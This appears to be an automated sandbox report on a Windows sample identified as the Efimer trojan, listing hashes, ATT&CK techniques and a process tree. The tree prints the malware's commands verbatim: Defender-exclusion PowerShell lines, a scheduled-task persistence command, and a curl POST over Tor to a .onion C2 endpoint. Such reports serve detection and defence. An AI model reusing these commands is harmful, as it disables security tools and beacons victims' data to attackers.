efimer | a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830

Analysis

max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20251015-en
resource tags

arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
submitted
04/11/2025, 15:22

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General

Target
a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe
Size 13.0MB
Sample251104-srycjsdl9t
SHA256 a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830
MD5 cf11558a26f78d30ed5aff508a69c571
SHA1 23d4994ec94e058f169db91793ee4cf3a5af4b3b
SHA512 2ac44e8c1e2fe369d5c01e6e7533b56fc335380738a8007e233409ebbf2bd00f5d33eefd6c6c0e042f7dccd41192fce71a2d61bfdaec181cde22a172eee42701
SSDEEP 393216:1QmoZyPc+beVFFySH5XMCHWUj6cuI3/PeuUp8:1QmoZyUVXPXMb83H/mZ8
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

execution efimer persistence trojan

Malware Config

Signatures

Efimer
Efimer is a trojan written in JS.
trojan efimer
Efimer family
efimer

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4952	powershell.exe
4300	powershell.exe
4332	powershell.exe
1984	powershell.exe
4256	powershell.exe
2308	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2228	mirrorpay.cfg
252	svcup.exe

Loads dropped DLL 9 IoCs

pid	Process
1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe
1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe
1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe
1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe
1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe
1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe
1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe
1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe
1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ipinfo.io
2	ipinfo.io

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2192	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4952	powershell.exe
4952	powershell.exe
4300	powershell.exe
4300	powershell.exe
4332	powershell.exe
4332	powershell.exe
1984	powershell.exe
1984	powershell.exe
4256	powershell.exe
4256	powershell.exe
2308	powershell.exe
2308	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4952	powershell.exe
Token: SeDebugPrivilege	4300	powershell.exe
Token: SeDebugPrivilege	4332	powershell.exe
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeDebugPrivilege	4256	powershell.exe
Token: SeDebugPrivilege	2308	powershell.exe

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 1104 wrote to memory of 1368	1104	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe	79
PID 1104 wrote to memory of 1368	1104	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe	79
PID 1368 wrote to memory of 2452	1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe	80
PID 1368 wrote to memory of 2452	1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe	80
PID 2452 wrote to memory of 4952	2452	cmd.exe	81
PID 2452 wrote to memory of 4952	2452	cmd.exe	81
PID 1368 wrote to memory of 3696	1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe	82
PID 1368 wrote to memory of 3696	1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe	82
PID 3696 wrote to memory of 4300	3696	cmd.exe	83
PID 3696 wrote to memory of 4300	3696	cmd.exe	83
PID 1368 wrote to memory of 3320	1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe	84
PID 1368 wrote to memory of 3320	1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe	84
PID 3320 wrote to memory of 4332	3320	cmd.exe	85
PID 3320 wrote to memory of 4332	3320	cmd.exe	85
PID 1368 wrote to memory of 4468	1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe	86
PID 1368 wrote to memory of 4468	1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe	86
PID 4468 wrote to memory of 1984	4468	cmd.exe	87
PID 4468 wrote to memory of 1984	4468	cmd.exe	87
PID 1368 wrote to memory of 3396	1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe	88
PID 1368 wrote to memory of 3396	1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe	88
PID 3396 wrote to memory of 4256	3396	cmd.exe	89
PID 3396 wrote to memory of 4256	3396	cmd.exe	89
PID 1368 wrote to memory of 2372	1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe	90
PID 1368 wrote to memory of 2372	1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe	90
PID 2372 wrote to memory of 2308	2372	cmd.exe	91
PID 2372 wrote to memory of 2308	2372	cmd.exe	91
PID 1368 wrote to memory of 2228	1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe	92
PID 1368 wrote to memory of 2228	1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe	92
PID 2228 wrote to memory of 2172	2228	mirrorpay.cfg	94
PID 2228 wrote to memory of 2172	2228	mirrorpay.cfg	94
PID 1368 wrote to memory of 3376	1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe	95
PID 1368 wrote to memory of 3376	1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe	95
PID 1368 wrote to memory of 2112	1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe	96
PID 1368 wrote to memory of 2112	1368	a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe	96
PID 2112 wrote to memory of 2192	2112	cmd.exe	97
PID 2112 wrote to memory of 2192	2112	cmd.exe	97
PID 1508 wrote to memory of 252	1508	wscript.exe	102
PID 1508 wrote to memory of 252	1508	wscript.exe	102
PID 1508 wrote to memory of 1724	1508	wscript.exe	104
PID 1508 wrote to memory of 1724	1508	wscript.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe
"C:\Users\Admin\AppData\Local\Temp\a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1104
- C:\Users\Admin\AppData\Local\Temp\a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe
  "C:\Users\Admin\AppData\Local\Temp\a10dc77caf75fc0648bf1004d49e686f163e6130b85d13dffeea2f43de7f2830.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Music\stream'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3696
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Music\stream'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3320
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4468
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3396
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Get-MpComputerStatus | Out-Null""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2372
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Get-MpComputerStatus | Out-Null"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2308
- - C:\Users\Public\Music\stream\mirrorpay.cfg
    C:\Users\Public\Music\stream\mirrorpay.cfg --name Defender --silent
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2228
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c pause
      4⤵
      PID:2172
- - C:\Windows\SYSTEM32\curl.exe
    curl -s --max-time 3 https://ipinfo.io/country
    3⤵
    PID:3376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn nitro5 /xml C:\Users\Public\Music\stream\stream_a.xml /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2112
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn nitro5 /xml C:\Users\Public\Music\stream\stream_a.xml /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2192

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe
1⤵
PID:1664

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe C:\Users\Public\Music\stream\stream_a.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1508
- C:\Users\Public\Music\stream\svcup.exe
  "C:\Users\Public\Music\stream\svcup.exe"
  2⤵
  - Executes dropped EXE
  PID:252
- C:\Windows\System32\curl.exe
  "C:\Windows\System32\curl.exe" -X POST -d "GUID=vt1z-2560a721&GEIP=GB&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile
  2⤵
  PID:1724

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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